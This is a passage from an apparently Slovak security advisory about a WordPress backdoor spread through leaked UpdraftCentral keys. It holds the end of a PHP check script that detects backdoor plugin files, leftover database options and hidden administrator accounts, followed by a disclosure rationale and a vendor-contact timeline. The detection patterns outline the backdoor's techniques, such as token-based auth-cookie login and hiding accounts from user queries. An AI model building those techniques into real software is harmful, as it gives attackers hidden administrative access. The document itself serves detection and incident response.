        $code = (string) @file_get_contents( $file, false, null, 0, 200000 );
        $template = false !== strpos( $code, 'keeps option storage tidy' )
            || false !== strpos( $code, 'Improves cron tasks efficiency' )
            || false !== strpos( $code, 'keep service accounts out of the main user list' )
            || ( false !== strpos( $code, "_sync_token'" ) && false !== strpos( $code, 'wp_set_auth_cookie' ) && false !== strpos( $code, 'hash_equals' ) )
            || ( false !== strpos( $code, 'pre_user_query' ) && false !== strpos( $code, 'pre_count_users' ) && false !== strpos( $code, 'wp_set_auth_cookie' ) );
        if ( $template ) {
            $report( 'ALERT', "Backdoor plugin file: $file" );
            $plugin_hits++;
        }
    }
}
if ( ! $plugin_hits ) $report( 'OK', 'No backdoor plugin files found.' );

// 4. Options the backdoor leaves behind.
global $wpdb;
$options = $wpdb->get_col( "SELECT option_name FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+_[0-9a-f]{3}_(sync_token|setup_stamp)$'" );
foreach ( $options as $name ) $report( 'ALERT', "Backdoor option in the database: $name" );
// The second variant stores the ID of its hidden administrator in <slug>_uid.
$uids = $wpdb->get_results( "SELECT option_name, option_value FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+(_[0-9a-f]{3,4})?_uid$'" );
foreach ( $uids as $o ) {
    $u = ctype_digit( (string) $o->option_value ) ? $wpdb->get_row( $wpdb->prepare( "SELECT user_login, user_email FROM {$wpdb->users} WHERE ID = %d", $o->option_value ) ) : null;
    $bad = $u && preg_match( '/@example\.(com|org)$/', $u->user_email );
    $report( $bad ? 'ALERT' : 'WARN', "Option {$o->option_name} = {$o->option_value}" . ( $u ? " (user {$u->user_login} <{$u->user_email}>)" : '' ) . ( $bad ? '' : '. Check that a plugin you know uses it.' ) );
}
if ( ! $options && ! $uids ) $report( 'OK', 'No backdoor options in the database.' );

// 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.
// Read users straight from the table: the second variant hides its account from get_users() and user counts.
$user_hits = 0;
$cap_key = $wpdb->get_blog_prefix() . 'capabilities';
$flagged = array();
foreach ( $wpdb->get_results( "SELECT ID, user_login, user_email, display_name FROM {$wpdb->users} WHERE user_email LIKE '%@example.org' OR user_email LIKE '%@example.com' OR display_name = 'Site Tools'" ) as $user ) {
    $report( 'ALERT', "Backdoor-style account: {$user->user_login} <{$user->user_email}> \"{$user->display_name}\"" );
    $flagged[ $user->ID ] = true;
    $user_hits++;
}
foreach ( $wpdb->get_results( $wpdb->prepare( "SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb->users} u JOIN {$wpdb->usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered >= '2026-10-17' AND m.meta_value LIKE %s", $cap_key, '%administrator%' ) ) as $user ) {
    if ( isset( $flagged[ $user->ID ] ) ) continue;
    $report( 'WARN', "Administrator created on {$user->user_registered}: {$user->user_login} <{$user->user_email}>. Make sure you know this account." );
    $user_hits++;
}
foreach ( get_users( array( 'fields' => array( 'ID', 'user_login', 'user_email', 'display_name' ) ) ) as $user ) {
    if ( isset( $flagged[ $user->ID ] ) ) continue;
    $caps = (array) get_user_meta( $user->ID, $cap_key, true );
    $extra = array_intersect( array( 'manage_options', 'install_plugins' ), array_keys( array_filter( $caps ) ) );
    if ( $extra && empty( $caps['administrator'] ) ) {
        $report( 'WARN', "Non-administrator {$user->user_login} has extra capabilities: " . implode( ', ', $extra ) );
        $user_hits++;
    }
}
if ( ! $user_hits ) $report( 'OK', 'No backdoor accounts or hidden admin-level users.' );

echo "\n";
if ( $alerts ) {
    echo "RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\n";
} elseif ( $warnings ) {
    echo "RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\n";
} else {
    echo "RESULT: no traces found.\n";
}

Prečo zverejňujeme hneď

Responsible disclosure znamená dať výrobcovi čas na opravu a zverejniť podrobnosti až potom. Tu žiaľ na to nie je dôvod. Útočník backdoory do inštalácií WordPressu už aktívne šíri a oprava od výrobcu majiteľom webov nepomôže, kým má útočník platné kľúče. Jediná účinná ochrana je zrušiť spojenie s UpdraftCentral a web skontrolovať, a to môže urobiť každý správca hneď.

Zverejnenie útočníkovi nepomôže. Na útok potrebuje platné kľúče, ktoré už má, a nič v tomto článku mu nedáva nový spôsob útoku. Obrancom naopak dáva postup, ako sa chrániť. Backdoor navyše vyrába generátor, ktorý pre každý web vytvorí iné mená, tokeny a heslá, čo naznačuje nástroj určený na veľký počet webov. Každá hodina čakania dáva útočníkovi čas na ďalšie weby.

Komunikácia s výrobcom a bezpečnostnými firmami

      1. 2026: hlásenie TeamUpdraft cez formulár prémiovej podpory s logmi a analýzou pre web A
      1. 2026: doplnenie o útoky na weby B a C, druhú vzorku a porovnanie User-Agent so skutočným dashboardom
      1. 2026: informovali sme Wordfence a Patchstack, aby mohli pridať detekciu a varovať ďalších správcov
      1. 2026: TeamUpdraft zverejnil vyjadrenie k bezpečnostnému incidentu a potvrdil únik zákazníckej databázy vrátane kľúčov UpdraftCentral
      1. 2026: TeamUpdraft nám v odpovedi na hlásenie potvrdil, že na základe neho považuje kľúče UpdraftCentral za kompromitované, a všetkých zákazníkov UpdraftCentral žiada odpojiť a skontrolovať každý web. Núdzová verzia UpdraftPlus k uzávierke ešte nevyšla (posledná je 1.26.11 zo 16. 10.).
      1. 2026: Patchstack zverejnil vlastnú analýzu a potvrdil obe IP adresy útočníka. Wordfence aj Patchstack si vyžiadali vzorky.

Ak ste podobný útok zaznamenali aj vy, napíšte nám na info@nethemba.com. Vzorky a ďalšie technické podklady poskytneme výrobcovi aj bezpečnostným tímom na požiadanie.

Aktualizácie

      1. 2026: prvé zverejnenie.
      1. 2026: upozornenie, že log UpdraftCentral uchováva len 50 udalostí, a kontrola access logu; odporúčanie nevytvárať spojenie znova; postup pre plne kompromitované weby; spresnenie dotknutých verzií pri CVE-2026-10795.
      1. 2026: doplnené vyjadrenie výrobcu, ktorý potvrdil únik kľúčov z teamupdraft.com; aktualizované odporúčania, oprava a rozsah.
      1. 2026 (večer): druhý variant so skrytým administrátorom, ďalšie vzorky prvého variantu, druhá IP adresa, odkaz na analýzu Patchstacku, kontrolný skript vo verzii 2.
      1. 2026: doplnená priama odpoveď výrobcu na naše hlásenie.

more insights

Rozlomená pečať obchodného registra, z ktorej unikajú záznamy s rodnými číslami

Štát ako najväčšia hrozba súkromia

Zákon č. 29/2026 Z. z. zverejnil rodné čísla, adresy a podpisové vzory slovenských konateľov — nie je to chyba, je to napísané v nezmyselnom, súkromie ohrozujúcom zákone. Sme presvedčení, že najväčšou hrozbou pre súkromie občanov je dnes samotný štát.

Read more >